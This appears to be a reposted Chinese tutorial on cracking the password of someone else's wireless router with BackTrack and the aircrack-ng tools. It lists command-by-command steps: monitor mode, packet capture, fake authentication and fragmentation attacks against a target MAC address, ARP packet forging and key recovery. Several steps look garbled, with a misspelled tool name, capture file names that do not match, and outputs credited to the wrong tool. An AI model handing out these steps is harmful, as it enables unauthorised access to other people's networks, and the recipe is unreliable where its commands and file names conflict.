BackTrack破解无线路由器密码-转

下载地址：
下载下来刻成光盘重新启动机器，进入光盘里面的系统，它是个经过定制的linux系统

步骤：
1、打开终端
   ifconfig -a
   记下你自己网卡的MAC地址，后面会用到

2、modprobe -r 你的网卡类型
   网卡类型可以在设备管理器里看到

3、modprobe ipwraw

4、airomon-ng start wifi0

5、airodump-ng wifi0
   检测当前所能接收到的无线信号

6、airodump-ng -ivs -w god -C 11 wifi0
   -C代表频道

7、打开另一终端
   aireplay-ng -1 0 -a 目标MAC -h 本机MAC wifi0

8、aireplay-ng -5 -b 目标MAC -h 本机MAC wifi0
   这里要等一会，直到提示输入Y

9、再开一个终端
   aircrack-ng -b 目标MAC catch.ivs
   catch.ivs是新创建的文件，是抓取的数据包，默认保存在/root下，这一步成功后会生成.xor文件

10、packetforge-ng -0 -a 目标MAC -h 本地MAC -k 255.255.255.255 -l 255.255.255.255     -y *.xor -w test
   生成的ARP包文件名test

11、aireplay-ng -z -r test -x 512 wifi0
   成功后会显示无线路由器的密码了